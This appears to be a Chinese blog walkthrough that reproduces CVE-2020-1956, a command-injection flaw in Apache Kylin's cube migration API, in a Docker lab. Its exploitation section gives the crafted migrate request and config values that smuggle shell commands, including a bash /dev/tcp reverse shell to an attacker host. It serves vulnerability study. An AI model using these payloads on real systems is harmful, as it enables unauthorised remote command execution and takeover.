Apache Kylin是一个开源的、分布式的分析型数据仓库,提供Hadoop/Spark之上的 SQL 查询接口及多维分析(OLAP)能力以支持超大规模数据,最初由 eBay 开发并贡献至开源社区。它能在亚秒内查询巨大的表。

0x00 漏洞概述

漏洞编号:CVE-2020-1956

Apache Kylin中存在一些RESTful API,可以将操作系统指令与用户输入的字符串拼接起来。由于未对用户输入内容做充分校验,攻击者可以构造任意系统命令执行。

影响版本:

  • Kylin 2.3.0-2.3.2
  • Kylin 2.4.0-2.4.1
  • Kylin 2.5.0-2.5.2
  • Kylin 2.6.0-2.6.5
  • Kylin 3.0.0-alpha
  • Kylin 3.0.0-alpha2
  • Kylin 3.0.0-beta
  • Kylin 3.0.0-3.0.1

利用条件:

  • 维持已登录状态
  • 开启了相关配置

0x01 镜像部署

Kylin的环境非常复杂,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的组件需要安装配置。好在官方提供了做好的Docker:

docker pull apachekylin/apache-kylin-standalone:3.0.1

层数很多,且每层都不小。

docker run -d -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 16010:16010 apachekylin/apache-kylin-standalone:3.0.1

需要等待Kylin完成初始化(1-2分钟),其它端口(如8088、8032等)的服务都会先于Kylin运行起来。

默认账户为admin/KYLIN,进入后可以看到预置的模型。

0x02 漏洞补丁

漏洞补丁:KYLIN-4426 Refine CliCommandExecutor · apache/kylin@9cc3793 (github.com)

漏洞位于CubeService.java的migrateCube()函数,其中对待执行命令做格式化的String.format()未能做到充分过滤,导致RCE。涉及的参数有:srcCfgUridstCfgUriprojectName

Migrate Cube

接口文档显示需要对路径传入两个参数:cubeproject。在Kylin页面的表格中可以看到

选择第一行的kylin_sales_cube以及对应的learn_kylin作为路径参数来构造请求。

POST /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate  HTTP/1.1
Host: 192.168.223.133:7070
Pragma: no-cache
Accept: application/json, text/plain, */*
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=08D6BE841D58B37D716D40185D465C7A
Connection: close

得到一个500,有大量的报错信息可以查看:

One click migration is disabled

这条提示作为键msg的值返回,可以想见是在代码中有硬编码的。回去看漏洞补丁的代码,就能发现这句话:

实际上就位于migrateCube函数的开头。这里使用了config.isAllowAutoMigrateCube()进行拦截,也就是加载了开头所说的“相关配置”。

配置项kylin.tool.auto-migrate-cube.enabled默认为FALSE(很不幸)。在使用Docker的大前提下,有两种修改该配置项的方法。持久性的修改需要进入容器,修改其中的conf/kylin.properties文件,自行添加kylin.tool.auto-migrate-cube.enabled=true配置项,然后bin/kylin stop+bin/kylin start重启Kylin。此外还可以直接在页面进行暂时性的修改。

暂时性修改

在平台的System一栏选择Set Config。比较高级,不用查看整个配置文件,以键值方式进行更新。

配置立即生效。但是在进程重启或选择了本页的Reload Config后就会失效。

Source configuration should not be empty

在修改完配置后重新发起一个POST,此时得到的响应就发生了变化:

这对应了项目代码中对于非空的检查:变量srcCfgUridstCfgUri。在文件kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java中就能看到

这两个值同样来自于配置项,分别对应的是kylin.tool.auto-migrate-cube.src-configkylin.tool.auto-migrate-cube.dest-config

kylin/core-common/src/main/java/org/apache/kylin/common/KylinConfigBase.java中使用了getOptional获得配置。

配置这两个参数就是使用前面配置kylin.tool.auto-migrate-cube.enabled同样的方法。关注一下kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java的1133行开始的命令格式化工作,在打过补丁后,此处会调用CliCommandExecutor.checkParameter来检查我们能够控制的变量srcCfgUridstCfgUri

于是一目了然,这两个变量直接表示命令注入的关键参数。

0x03 利用流程

任意写文件

尝试用变量destCfgUri承载系统命令。再次去页面Set Config,先将srcCfgUri配置为/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie(注意不是变量自身作为键,而是其对应的配置项作为键),再将destCfgUri配置为/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/hacked; echo,试图写入一个名为hacked的文件。

再发起一个与先前一样的POST请求,这次会得到200状态(可能有一点延迟)。

去Docker查看,发现写入成功!

反弹Shell

写文件成功,写反弹Shell似乎也就问题不大了。在之前的基础上,将kylin.tool.auto-migrate-cube.dest-config配置为/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/192.168.31.197/9527 0>&1; echo,然后执行同样的POST。不同于写文件任务,监听在主动断开前保持工作,所以这次POST将会一直处在等待响应的状态。

攻击机很快就拿到了Shell:

Over!

[CVE-2020-1956] Apache Kylin远程命令执行漏洞复现的更多相关文章

  1. Apache SSI 远程命令执行漏洞复现

    Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...

  2. Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)

    Apache Kylin远程代码执行(CVE-2020-1956) 简介 Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库.该产品主要提供 Hadoop/Sp ...

  3. CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

    0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x0 ...

  4. CVE-2021-25646:Apache Druid远程命令执行漏洞复现

    漏洞概述 Apache Druid 是一个分布式的数据处理系统.Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码.在Druid 0.20.0及更低版本中, ...

  5. 【Vulfocus解题系列】手把手教你使用Vulfocus公开靶场对Apache Log4j2远程命令执行漏洞复现

    前言 关于这个漏洞,啥都不用说了,直接发车. 工具下载 JNDIExploit:https://github.com/0x727/JNDIExploit 复现过程 启动靶场环境 直接用vulfocus ...

  6. ThinkPHP 5.x远程命令执行漏洞复现

    ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...

  7. Apache log4j2 远程代码执行漏洞复现👻

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  8. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  9. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

随机推荐

  1. Java方法03——方法的重载

    方法的重载(println 就是一个典型的重载(源码)) 重载就是在一个类中,有相同的函数名称,但形参不同的函数 方法重载的规则 方法名称必须相同 参数列表必须不同(个数不同.或者类型不同.参数排列顺 ...

  2. XCTF-simple unpack

    题目提示这是一个加壳的二进制文件,拖到exeinfope,是UPX壳. 这里我们用linux命令upx -d脱壳. 脱完壳之后拉入ida64中分析.找到main函数,可以看到这一句可以是输出flag的 ...

  3. 树莓派3B/3B+/4B 刷机装系统烧录镜像教程

    树莓派3B/3B+/4B 刷机装系统烧录镜像教程 树莓派 背景故事 刚拿到树莓派的第一件事,应该就是要装系统了,那么应该怎么操作呢?下面就给大家介绍一下吧. 硬件准备 树莓派:3B/3B+/4B,本教 ...

  4. React脚手架配置代理

    react脚手架配置代理 方法一 在package.json中追加如下配置 "proxy":"http://localhost:5000" 说明: 优点:配置简 ...

  5. iOS开发之Lame编译

    前言 为了保证音频格式在多端通用,需要将音频转化为MP3格式,本文讲解了如何使用Shell脚本来编译lame库. 编译脚本 #!/bin/sh CONFIGURE_FLAGS="--disa ...

  6. netty系列之:netty中的懒人编码解码器

    目录 简介 netty中的内置编码器 使用codec要注意的问题 netty内置的基本codec base64 bytes compression json marshalling protobuf ...

  7. MongoDB 数据库创建删除、表(集合) 创建删除、数据增删改查

    使用数据库.创建数据库 use student 如果真的想把这个数据库创建成功,那么必须插入一个数据. 数据库中不能直接插入数据,只能往集合(collections)中插入数据.不需要专门创建集合,只 ...

  8. Monitor 类

    命名空间:System.Threading 程序集: mscorlib.dll, System.Threading.dll 尝试获取指定对象的排他锁. 用于 Monitor 锁定对象 (即引用类型) ...

  9. 编写一个简单的COM组件

    参考网站:编写一个简单的COM组件_a ray of sunshine-CSDN博客 (1) 用MIDL编写.idl文件 //将以下代码保存成 IXIYIZ.idl 文件 //在命令行上进行编译,编译 ...

  10. 【mysql】索引优化分析

    1. 索引的概念 1.1 索引是什么 MySQL 官方对索引的定义为:索引(Index)是帮助MySQL 高效获取数据的数据结构.可以得到索引的本质:索引是数据结构.可以简单理解为排好序的快速查找数据 ...